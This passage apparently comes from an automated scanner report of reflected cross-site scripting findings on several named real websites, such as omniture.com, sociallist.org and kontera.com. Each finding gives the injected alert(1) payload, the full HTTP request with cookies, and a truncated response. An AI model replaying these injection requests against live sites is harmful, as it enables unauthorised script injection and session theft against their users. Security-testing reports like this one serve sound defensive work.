<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Future Stat ...[SNIP]... != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3dppmtoday%261f740'-alert(1)-'6ebdefa1aa5%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload d10fd<script>alert(1)</script>5443b795f8c was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the l request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98161"%3balert(1)//e83152febaa was submitted in the l parameter. This input was echoed as 98161";alert(1)//e83152febaa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /KonaGet.js?u=1296570530969&p=131855&k=http%3A//www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.htmljpNNP3&al=1&l=http%3A//www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html98161"%3balert(1)//e83152febaa&t=Twitter+Tweets+about+Llc+as+of+January+20+%2C+2011+-+Montana+Plates&m1=Montana+LLC+%2C+llc+%2C+Montana+Liscence+plates&rId=0&rl=0&1=14&mod=65563&rm=1&dc_aff_id=0&add=FlashVer_Shockwave%20Flash%2010.1%20r103|user_|session_ HTTP/1.1 Host: kona5.kontera.com Proxy-Connection: keep-alive Referer: http://www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: KONA_USER_GUID=F3BC9B36-258A-11E0-835C-00163E201265
Response
HTTP/1.0 200 OK Content-Type: text/plain Connection: close Content-Length: 11135
The value of the rId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d7bc"-alert(1)-"ecbff65bd55 was submitted in the rId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /KonaGet.js?u=1296570530969&p=131855&k=http%3A//www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.htmljpNNP3&al=1&l=http%3A//www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html&t=Twitter+Tweets+about+Llc+as+of+January+20+%2C+2011+-+Montana+Plates&m1=Montana+LLC+%2C+llc+%2C+Montana+Liscence+plates&rId=09d7bc"-alert(1)-"ecbff65bd55&rl=0&1=14&mod=65563&rm=1&dc_aff_id=0&add=FlashVer_Shockwave%20Flash%2010.1%20r103|user_|session_ HTTP/1.1 Host: kona5.kontera.com Proxy-Connection: keep-alive Referer: http://www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: KONA_USER_GUID=F3BC9B36-258A-11E0-835C-00163E201265
Response
HTTP/1.0 200 OK Content-Type: text/plain Connection: close Content-Length: 10579
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 73495<script>alert(1)</script>00d7074f8fe was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /m2/millenniumhotels/mbox/standard?mboxHost=www.millenniumhotels.com&mboxSession=1296573995979-796819&mboxPage=1296573995979-796819&screenHeight=1200&screenWidth=1920&browserWidth=1036&browserHeight=1012&browserTimeOffset=-360&colorDepth=16&mboxCount=2&hotelId=11536&mbox=Homepage_LeftNavStyle73495<script>alert(1)</script>00d7074f8fe&mboxId=0&mboxTime=1296552397746&mboxURL=http%3A%2F%2Fwww.millenniumhotels.com%2Fmillenniumboston%2Findex.html&mboxReferrer=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dmillenium%2Bboston&mboxVersion=39 HTTP/1.1 Host: millenniumhotels.tt.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 217 Date: Wed, 02 Feb 2011 15:36:11 GMT Server: Test & Target
4.143. https://my.omniture.com/login/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://my.omniture.com
Path:
/login/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc1a9'-alert(1)-'6acc01123fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
4.144. https://my.omniture.com/login/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://my.omniture.com
Path:
/login/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38a79"-alert(1)-"7f4bdae527e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the jpj request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2a15"-alert(1)-"9e4c75fec7b was submitted in the jpj parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /p/suite/1.2/index.html?a=Main.SSOHelp&ssSession=a7c9e0ff5f9e34e1244401d33bd8bc67&jpj=95253754444132c2a15"-alert(1)-"9e4c75fec7b HTTP/1.1 Host: my.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; FLASH_ENABLED=yes; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:32:17 GMT Server: Omniture AWS/2.0.0 Vary: Accept-Encoding,User-Agent xserver: www645 Content-Type: text/html Connection: close Content-Length: 27728
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head>
4.146. https://my.omniture.com/p/suite/1.2/index.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://my.omniture.com
Path:
/p/suite/1.2/index.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ebfe1"-alert(1)-"79f9f86c119 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /p/suite/1.2/index.html?a=Main.SSOHelp&ssSession=a7c9e0ff5f9e34e1244401d33bd8bc67&jpj=95253754444132&ebfe1"-alert(1)-"79f9f86c119=1 HTTP/1.1 Host: my.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; FLASH_ENABLED=yes; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:33:35 GMT Server: Omniture AWS/2.0.0 Vary: Accept-Encoding,User-Agent xserver: www453 Content-Type: text/html Connection: close Content-Length: 27828
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head>
The value of the ssSession request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e86ee"-alert(1)-"66ebe3920b5 was submitted in the ssSession parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /p/suite/1.2/index.html?a=Main.SSOHelp&ssSession=a7c9e0ff5f9e34e1244401d33bd8bc67e86ee"-alert(1)-"66ebe3920b5&jpj=95253754444132 HTTP/1.1 Host: my.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=omniturecom%2Comnitureall%2Comniturecomdev%2Comniturecomemea%2Comnitureapac%2Comniturenoncustomer%2Comniturecomen%3D%2526pid%253DPrivacy%25253A%2525202o7.net%252520Explained%2526pidt%253D1%2526oid%253Dhttp%25253A//my.omniture.com/%2526ot%253DA; FLASH_ENABLED=yes; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; sc_locale=en_US; s_sv_s1=1@29@a//1296661247027/594025749283; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; sc_locale_numbers=en_US; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:31:44 GMT Server: Omniture AWS/2.0.0 Vary: Accept-Encoding,User-Agent xserver: www460 Content-Type: text/html Connection: close Content-Length: 27586
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head>
The value of the frameName request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46054'-alert(1)-'3516148de48 was submitted in the frameName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the pageURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e7a8'-alert(1)-'8af0a80e42e was submitted in the pageURL parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the ranreq request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0ddb'-alert(1)-'75dd4dca154 was submitted in the ranreq parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b5be"><script>alert(1)</script>51b0587d24d was submitted in the lang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?type=1&lang=en7b5be"><script>alert(1)</script>51b0587d24d&url=refpage&title=refpage&tag=refpage&text=refpage HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 19498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?type=1&lang=en7b5be"><script>alert(1)</script>51b0587d24d&url=refpage&title=refpage&tag=refpage&text=refpage"> ...[SNIP]...
4.152. http://sociallist.org/submit.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://sociallist.org
Path:
/submit.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c92e7"><script>alert(1)</script>c161344b8ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?c92e7"><script>alert(1)</script>c161344b8ce=1 HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 18868
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?c92e7"><script>alert(1)</script>c161344b8ce=1"> ...[SNIP]...
The value of the tag request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94680"><script>alert(1)</script>385c4aafbf was submitted in the tag parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?type=1&lang=en&url=refpage&title=refpage&tag=refpage94680"><script>alert(1)</script>385c4aafbf&text=refpage HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 19488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?type=1&lang=en&url=refpage&title=refpage&tag=refpage94680"><script>alert(1)</script>385c4aafbf&text=refpage"> ...[SNIP]...
The value of the text request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5bf26"><script>alert(1)</script>4d8458ad73a was submitted in the text parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?type=1&lang=en&url=refpage&title=refpage&tag=refpage&text=refpage5bf26"><script>alert(1)</script>4d8458ad73a HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 19498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?type=1&lang=en&url=refpage&title=refpage&tag=refpage&text=refpage5bf26"><script>alert(1)</script>4d8458ad73a"> ...[SNIP]...
The value of the title request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5df9"><script>alert(1)</script>6ca859d5791 was submitted in the title parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?type=1&lang=en&url=refpage&title=refpagef5df9"><script>alert(1)</script>6ca859d5791&tag=refpage&text=refpage HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 19498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?type=1&lang=en&url=refpage&title=refpagef5df9"><script>alert(1)</script>6ca859d5791&tag=refpage&text=refpage"> ...[SNIP]...
The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fae34"><script>alert(1)</script>c10119c2686 was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?type=1fae34"><script>alert(1)</script>c10119c2686&lang=en&url=refpage&title=refpage&tag=refpage&text=refpage HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 19498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?type=1fae34"><script>alert(1)</script>c10119c2686&lang=en&url=refpage&title=refpage&tag=refpage&text=refpage"> ...[SNIP]...
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a978a"><script>alert(1)</script>2b441ed7164 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit.php?type=1&lang=en&url=refpagea978a"><script>alert(1)</script>2b441ed7164&title=refpage&tag=refpage&text=refpage HTTP/1.1 Host: sociallist.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.9.1 Date: Tue, 01 Feb 2011 14:32:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.14 Content-Length: 19498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content ...[SNIP]... <a href="http://sociallist.org/submit.php?type=1&lang=en&url=refpagea978a"><script>alert(1)</script>2b441ed7164&title=refpage&tag=refpage&text=refpage"> ...[SNIP]...
The value of the ROIID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5d61'%3balert(1)//83d5529551f was submitted in the ROIID parameter. This input was echoed as e5d61';alert(1)//83d5529551f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /track/track.aspx?ROIID=936138107000019e5d61'%3balert(1)//83d5529551f HTTP/1.1 Host: track.roiservice.com Proxy-Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: msid938956107000029=06dd214c75b14fd39004a5e41502868d
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:42:42 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: msid936138107000019e5d61';alert(1)//83d5529551f=ddc990c0fc744d2cbe0ff4ded6312952; domain=.roiservice.com; expires=Sun, 02-Feb-2031 15:42:42 GMT; path=/ Set-Cookie: GTT936138107000019e5d61';alert(1)//83d5529551f=ddc990c0fc744d2cbe0ff4ded6312952; domain=.roiservice.com; path=/ Cache-Control: private Content-Type: text/javascript; charset=utf-8 Content-Length: 1656
4.159. http://wp-superslider.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://wp-superslider.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ce46"><script>alert(1)</script>2b12960bb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2ce46\"><script>alert(1)</script>2b12960bb2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?2ce46"><script>alert(1)</script>2b12960bb2=1 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba1c7"><script>alert(1)</script>59b95746b00 was submitted in the REST URL parameter 1. This input was echoed as ba1c7\"><script>alert(1)</script>59b95746b00 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.phpba1c7"><script>alert(1)</script>59b95746b00 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674627+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674628; expires=Thu, 02-Feb-2012 19:23:48 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:48 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53197
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 427c3"><script>alert(1)</script>6ae2ba26414 was submitted in the REST URL parameter 1. This input was echoed as 427c3\"><script>alert(1)</script>6ae2ba26414 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site427c3"><script>alert(1)</script>6ae2ba26414/wp-content/plugins/si-contact-form/captcha-secureimage/ctf_captcha.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:02 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674583+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674583; expires=Thu, 02-Feb-2012 19:23:03 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
